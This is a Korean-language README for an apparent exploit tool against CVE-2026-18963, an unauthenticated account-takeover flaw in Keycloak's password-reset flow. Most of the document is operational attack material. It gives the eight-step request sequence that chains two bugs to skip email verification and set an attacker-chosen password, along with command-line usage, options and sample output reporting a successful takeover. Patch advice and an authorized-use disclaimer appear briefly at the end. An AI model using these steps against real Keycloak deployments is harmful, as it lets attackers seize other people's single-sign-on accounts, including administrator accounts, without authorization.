
CVE-2026-18963에 대한 익스플로잇으로, Keycloak의 자격 증명 재설정 흐름에서 발생하는 심각한 인증되지 않은 계정 탈취 취약점입니다. 두 가지 버그를 연쇄적으로 활용하여 이메일 검증을 우회하고 새 비밀번호를 설정합니다.
| 필드 | 값 |
|---|
| CVE | CVE-2026-18963 |
| CVSS 점수 | 9.1 (Critical) |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-640 — 취약한 비밀번호 복구 메커니즘 |
| 영향 범위 | Keycloak 26.0.0 – 26.7.1 |
| 패치 버전 | 26.4.15 / 26.6.6 / 26.7.2 / 26.8.0 |
| 구성 요소 | keycloak-services (reset-credentials 흐름) |
| 참조 | https://github.com/keycloak/keycloak/issues/51833 |
두 가지 버그가 연쇄적으로 악용됩니다:
버그 1 — tryAnotherWay 핸들러가 AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" 노트를 특정 실행 ID로 범위를 한정하지 않고 인증 세션에 저장합니다.
버그 2 — ResetCredentialEmail.action()이 해당 노트가 존재할 때마다 ACTION_TOKEN_USER_ID를 확인하지 않고 context.success()를 호출하여(이메일 검증을 완전히 건너뜀) 처리합니다.
1. GET /realms/{realm}/protocol/openid-connect/auth
→ OIDC 세션 수립, forgot-password 링크 추출
2. GET /login-actions/reset-credentials?...
→ reset-credentials 폼 로드
3. POST tryAnotherWay=on
→ AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED 노트 설정 (버그 1)
4. POST username={target} → 선택기 폼
→ 대상 사용자를 인증 세션에 바인딩, 이메일 단계 트리거
5. GET /login-actions/restart?...
→ 선택 사항: 브라우저 세션 폴링 미러링
6. GET /login-actions/reset-credentials?... (2단계와 동일한 URL)
→ 오래된 선택기 노트가 여전히 존재 → 자격 증명 선택기 다시 표시
7. POST username={target} → 오래된 선택기
→ ResetCredentialEmail이 노트를 확인하고 context.success() 호출 (버그 2)
→ 흐름이 UPDATE_PASSWORD로 직접 진행 — 이메일 전송 없음
8. POST password-new={attacker_password}
→ 계정 탈취 완료
python3 -m pip install requests
python3 exploit_cve_2026_18963.py \
--url https://target.com \
--realm master \
--username [email protected] \
--new-password NewPass123!
--url Keycloak 기본 URL (필수)
--realm 대상 영역 (기본값: master)
--username 탈취할 계정의 사용자 이름 또는 이메일 (필수)
--new-password 대상 계정에 설정할 비밀번호 (필수)
--client-id OIDC 클라이언트 ID (기본값: account)
--auth-prefix auto | new | old
auto = 자동 감지 (기본값)
new = /realms/... (Keycloak >= 17)
old = /auth/realms/... (Keycloak < 17)
-v, --verbose 전체 HTTP 추적 출력
--skip-version-check
# 이전/신규 Keycloak URL 접두사 자동 감지
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026!
# 레거시 /auth/ 접두사 강제 사용 (Keycloak < 17)
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
--auth-prefix old
# 상세 HTTP 추적
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
-v
CVE-2026-18963 | Keycloak 인증되지 않은 계정 탈취
사용자 : [email protected]
[단계 0] 버전 및 경로 접두사 감지
[+] 경로 접두사: '/auth' → 감지됨
[?] 버전이 감지되지 않음 — 계속 진행합니다.
대상 : https://sso.example.com/auth/realms/myrealm
[단계 1] OIDC forgot-password 링크를 통해 reset-credentials 폼 열기
[+] OIDC 세션 수립됨
[+] Reset-credentials 폼 로드됨
[단계 2] POST tryAnotherWay=on → 선택기 노트 설정 (버그 1)
[+] 자격 증명 선택기 폼 수신됨
[단계 3] POST username='[email protected]' → 사용자 바인딩, 이메일 단계 트리거
[+] 이메일 단계 트리거됨 — 세션 폴링 URL 발견됨
[단계 4] GET 세션 폴링 경로 (선택 사항)
[단계 5] forgot-password URL 재방문 → 오래된 선택기 획득
[+] 오래된 자격 증명 선택기 폼 수신됨
[단계 6] 오래된 선택기에 POST username → 우회 트리거 (버그 2)
[+] 우회 성공 — update-password 폼 수신됨
[단계 7] 새 비밀번호 설정
============================================================
[+] 성공 — 계정 탈취 완료
[+] 대상 : https://sso.example.com/auth/realms/myrealm
[+] 사용자 : [email protected]
[+] 비밀번호 : Pwn3d2026!
============================================================
| Keycloak 버전 | URL 접두사 | 취약 여부 |
|---|---|---|
| < 17.x | /auth/realms/ | ✅ 26.x 범위인 경우 |
| ≥ 17.x | /realms/ | ✅ 26.7.2 미만인 경우 |
| 26.4.15+ / 26.6.6+ / 26.7.2+ / 26.8.0+ | 모든 경로 | ❌ 패치됨 |
이 스크립트는 대상이 레거시 /auth/ 접두사를 사용하는지 현대적인 경로를 사용하는지 자동으로 감지하므로, 수동 구성 없이 이전 및 신규 배포 모두에서 작동합니다.
패치 (권장): 다음 수정 버전 중 하나로 업그레이드하세요:
26.4.15 이상 (26.4.x 라인)26.6.6 이상 (26.6.x 라인)26.7.2 이상 (26.7.x 라인)26.8.0 이상임시 해결책: 모든 영역에서 비밀번호 찾기(Forgot Password) 기능을 비활성화하세요:
Realm Settings → Login → Forgot Password → OFF
이 도구는 공인된 보안 테스트 및 교육 목적으로만 사용됩니다. 소유한 시스템 또는 명시적인 서면 허가를 받은 시스템에만 사용하세요.